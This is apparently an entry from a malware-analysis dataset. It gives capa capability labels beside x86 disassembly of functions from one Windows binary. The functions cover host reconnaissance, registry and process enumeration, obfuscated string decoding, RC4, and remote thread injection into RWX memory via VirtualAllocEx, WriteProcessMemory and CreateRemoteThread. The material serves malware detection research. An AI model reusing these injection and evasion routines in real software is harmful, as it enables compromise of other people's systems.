joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18d211e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [0x18d38800], eax
jne 0x18d211fc
jmp 0x18d212d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x18d38800], eax
mov dword [ebp - 4], 0x64
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.18d22630
add esp, 8
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 3
push ecx
push 0xc22a836e
push 0x17
push 0x18d345e4
call fcn.18d217f0
add esp, 0xc
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x18d379e0
call fcn.18d22660
add esp, 4
push 0xfbbec1f2
push 0x1b
push 0x18d345fc
call fcn.18d217f0
add esp, 0xc
push eax
push 0x18d379e0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x208]
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x18d37bec], eax
push 0x18d379e0
push 0x33825dca
push 0xa
push 0x18d34618
call fcn.18d217f0
add esp, 0xc
push eax
push 0x18d385f8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x18d21500
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.18d211e0
call fcn.18d21000
call fcn.18d21030
push str.MSCTF.MarshalInt
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x18d215a9
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x18d37be8], eax
cmp dword [0x18d37be8], 0
je 0x18d2159d
push 0
push 0
push 0
push 0x18d213f0
push 0
push 0
call fcn.18d24510
add esp, 0x18
mov dword [ebp - 8], eax
push 0
call fcn.18d2bb80
cmp dword [ebp - 8], 0
je 0x18d2158c
push 0xffffffffffffffff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 8]
push edx
call fcn.18d21ba0
add esp, 4
call fcn.18d211d0
mov eax, dword [0x18d37be8]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 4]
push ecx
call fcn.18d21ba0
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x18d21840
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 1], 0
push 0xffffffffffffffff
mov eax, dword [0x18d38c38]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], 0
jmp 0x18d2186a
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 4
jge 0x18d2190c
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push 0x18d38a38
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x18d218ee
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x284]
lea ecx, [eax + eax + 0x288]
mov dword [ebp - 0x10], ecx
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
movzx eax, byte [0x18d38a34]
test eax, eax
jne 0x18d218da
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov edx, dword [ebp - 0xc]
push edx
call fcn.18d21ba0
add esp, 4
mov byte [ebp - 1], 1
jmp 0x18d2190c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x18d21905
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18d21907
jmp 0x18d2190c
jmp 0x18d21861
mov eax, dword [0x18d38c38]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x18d21f10
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx edx, word [ebp - 0x24]
xor eax, eax
cmp edx, 9
sete al
mov esp, ebp
pop ebp
ret

Function at 0x18d21fa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push 0x437a1527
push 0x2e
push 0x18d34684
call fcn.18d217f0
add esp, 0xc
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18d22011
mov dword [ebp - 0xc], 4
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x93376d8c
push 4
push 0x18d346b4
call fcn.18d217f0
add esp, 0xc
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x18d22100
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0xff
mov eax, dword [ebp + 8]
push eax
call fcn.18d25280
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x18d22125
xor eax, eax
jmp 0x18d22244
push 0x28
mov edx, dword [ebp + 0xc]
push edx
call fcn.18d25190
add esp, 8
movzx eax, al
test eax, eax
jne 0x18d22141
xor eax, eax
jmp 0x18d22244
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x18d22241
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0xd6859929
push 5
push 0x18d346c8
call fcn.18d217d0
add esp, 0xc
push eax
lea edx, [ebp - 0x20]
push edx
call fcn.18d26e00
add esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x18d22241
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.18d26f90
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x18d22235
lea eax, [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
movzx edx, byte [ecx + 0xf]
push edx
mov eax, dword [ebp - 0x64]
movzx ecx, byte [eax + 0xe]
push ecx
mov edx, dword [ebp - 0x64]
movzx eax, byte [edx + 0xd]
push eax
mov ecx, dword [ebp - 0x64]
movzx edx, byte [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x64]
movzx ecx, byte [eax + 0xb]
push ecx
mov edx, dword [ebp - 0x64]
movzx eax, byte [edx + 0xa]
push eax
mov ecx, dword [ebp - 0x64]
movzx edx, byte [ecx + 9]
push edx
mov eax, dword [ebp - 0x64]
movzx ecx, byte [eax + 8]
push ecx
mov edx, dword [ebp - 0x64]
movzx eax, word [edx + 6]
push eax
mov ecx, dword [ebp - 0x64]
movzx edx, word [ecx + 4]
push edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
push ecx
push 0x228b7d78
push 0x32
push 0x18d346d0
call fcn.18d217d0
add esp, 0xc
push eax
mov edx, dword [ebp + 0xc]
push edx
call fcn.18d26cb0
add esp, 0x34
mov eax, dword [ebp - 0x20]
push eax
call fcn.18d33970
add esp, 4
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x18d224a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [ebp + 0x10]
shl eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.18d25190
add esp, 8
movzx edx, al
test edx, edx
jne 0x18d224c9
xor eax, eax
jmp 0x18d2256f
mov dword [ebp - 8], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x18d2256c
mov dword [ebp - 0x238], 0
push 0x228
push 0
lea eax, [ebp - 0x234]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp + 8]
jne 0x18d2254b
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCpyNW]
mov dword [ebp - 8], 1
jmp 0x18d22560
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18d22522
mov eax, dword [ebp - 4]
push eax
call fcn.18d21ba0
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x18d22580
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x18d225a5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x18d22618
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x18d225da
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x18d2260d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x18d2260b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x18d225d1
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x18d2259c
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret

Function at 0x18d22660
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0x208
mov eax, dword [ebp + 8]
push eax
call fcn.18d25190
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x18d2268d
mov edx, dword [ebp + 8]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
pop ebp
ret
Function at 0x18d226a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x18d35188
push 0x18d339f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, 0x6a7d
mov word [ebp - 0x1c], ax
movzx ecx, word [ebp - 0x1c]
xor ecx, 0x3030
mov word [ebp - 0x1c], cx
mov edx, dword [ebp + 8]
xor eax, eax
and edx, 0xfffff000
and eax, 0xf
mov dword [ebp + 8], edx
jmp 0x18d22703
mov ecx, dword [ebp + 8]
sub ecx, 0x1000
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1c]
cmp eax, ecx
jne 0x18d2274e
mov edx, 0x7560
mov word [ebp - 0x1c], dx
movzx eax, word [ebp - 0x1c]
xor eax, 0x3030
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx]
movzx edx, word [ebp - 0x1c]
cmp ecx, edx
jne 0x18d2274e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
jmp 0x18d2276b
jmp 0x18d226f7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18d23630
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
call fcn.18d23260
movzx eax, al
test eax, eax
je 0x18d23641
jmp 0x18d23684
mov dword [0x18d38c74], 0
push 0x18d38c50
call fcn.18d24760
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x18d38c78], eax
mov byte [0x18d38a35], 1
push 0
push 0
push 0
push 0x18d232e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x18d38c70], eax
pop ebp
ret
Function at 0x18d23bc0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov byte [ebp - 5], 0
mov eax, dword [ebp + 8]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x18d23c12
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x18d23c0d
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [ebp + 8]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x18d23c0d
jmp 0x18d23ccd
jmp 0x18d23ccd
mov dword [ebp - 0x430], 0
push 0x424
push 0
lea edx, [ebp - 0x42c]
push edx
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x430], 0x428
lea eax, [ebp - 0x430]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
jne 0x18d23c53
jmp 0x18d23ccd
push 0x62a7fc43
push 6
push 0x18d34744
call fcn.18d217f0
add esp, 0xc
push eax
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0
je 0x18d23cb0
push 0x8a76f172
push 4
push 0x18d3474c
call fcn.18d217f0
add esp, 0xc
push eax
mov eax, dword [ebp - 0x434]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x18d23cb0
mov byte [ebp - 5], 1
jmp 0x18d23cc5
lea ecx, [ebp - 0x430]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x18d23c53
xor eax, eax
jne 0x18d23bcd
cmp dword [ebp - 4], 0xffffffff
je 0x18d23cdf
mov ecx, dword [ebp - 4]
push ecx
call fcn.18d21ba0
add esp, 4
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x18d23cf0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0x18d23d06
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12c
jge 0x18d23d45
mov ecx, dword [ebp + 8]
push ecx
call fcn.18d23b00
add esp, 4
test eax, eax
je 0x18d23d3b
mov edx, dword [ebp + 0x10]
push edx
call fcn.18d21ba0
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.18d21ba0
add esp, 4
mov al, 1
jmp 0x18d23d5f
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18d23cfd
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp + 0xc]
push edx
call fcn.18d21ba0
add esp, 4
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x18d23f30
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.18d23080
add esp, 8
test eax, eax
jne 0x18d23f56
jmp 0x18d24030
push 0x40
push 0x1000
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x18d23f7b
jmp 0x18d24030
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18d2400d
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp - 8]
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x10], 0
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x18d23fd6
mov dword [ebp - 4], 1
jmp 0x18d24001
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jl 0x18d24001
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x10]
push eax
call fcn.18d21ba0
add esp, 4
cmp dword [ebp - 4], 0
jne 0x18d24028
push 0x8000
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jne 0x18d23f3d
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x18d24360
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.18d22690
push eax
call fcn.18d226a0
add esp, 4
mov dword [ebp - 8], eax
call fcn.18d220c0
call fcn.18d27e40
call fcn.18d23940
test eax, eax
jne 0x18d24394
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18d24381
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x18
call fcn.18d33570
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov dword [edx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x14], eax
push 0x99999999
push 0x18d24300
call fcn.18d242c0
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call fcn.18d33770
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push eax
push 0x18d24300
mov ecx, dword [ebp - 0x14]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
push 0x40
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call fcn.18d21ba0
add esp, 4
push 0xdead
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x18d24510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 8
call fcn.18d33770
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx], eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
push 0x18d24490
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x18d24568
mov eax, dword [ebp - 4]
push eax
call fcn.18d33970
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x18d24580
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
shr eax, 0x10
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x85ebca6b
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
shr edx, 0xd
xor edx, dword [ebp + 8]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 8]
imul eax, eax, 0xc2b2ae35
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
shr ecx, 0x10
xor ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 8]
pop ebp
ret

Function at 0x18d245d0
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.18d25150
add esp, 8
movzx edx, al
test edx, edx
jne 0x18d245f4
xor eax, eax
jmp 0x18d2473c
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xcc9e2d51
mov dword [ebp - 0x10], 0x1b873593
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
lea ecx, [eax + edx*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
neg edx
mov dword [ebp - 0x28], edx
jmp 0x18d2463e
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x18d2469b
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.18d24570
add esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0xcc9e2d51
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
rol ecx, 0xf
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x1b873593
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
rol ecx, 0xd
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
imul edx, edx, 5
sub edx, 0x19ab949c
mov dword [ebp - 4], edx
jmp 0x18d24635
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0xc]
and eax, 3
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
je 0x18d246eb
cmp dword [ebp - 0x30], 2
je 0x18d246db
cmp dword [ebp - 0x30], 3
je 0x18d246cb
jmp 0x18d24721
mov ecx, dword [ebp - 0xc]
movzx edx, byte [ecx + 2]
shl edx, 0x10
xor edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax + 1]
shl ecx, 8
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
imul ecx, ecx, 0xcc9e2d51
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
rol edx, 0xf
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x1b873593
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
call fcn.18d24580
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x18d24f80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov eax, dword [ebp + 0x14]
mov cl, byte [eax + 0x100]
mov byte [ebp - 2], cl
mov edx, dword [ebp + 0x14]
mov al, byte [edx + 0x101]
mov byte [ebp - 1], al
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x18d24fb7
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jae 0x18d25057
movzx ecx, byte [ebp - 2]
add ecx, 1
and ecx, 0xff
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
movzx edx, byte [ebp - 1]
add ecx, edx
and ecx, 0xff
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + eax]
mov byte [ebp - 3], dl
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 8]
mov esi, dword [ebp - 8]
mov al, byte [esi + eax]
mov byte [edx + ecx], al
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 8]
mov al, byte [ebp - 3]
mov byte [edx + ecx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
movzx ecx, byte [ebp - 1]
mov esi, dword [ebp - 8]
movzx ecx, byte [esi + ecx]
add eax, ecx
and eax, 0xff
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov byte [ecx], dl
jmp 0x18d24fae
mov edx, dword [ebp + 0x14]
mov al, byte [ebp - 2]
mov byte [edx + 0x100], al
mov ecx, dword [ebp + 0x14]
mov dl, byte [ebp - 1]
mov byte [ecx + 0x101], dl
pop esi
mov esp, ebp
pop ebp
ret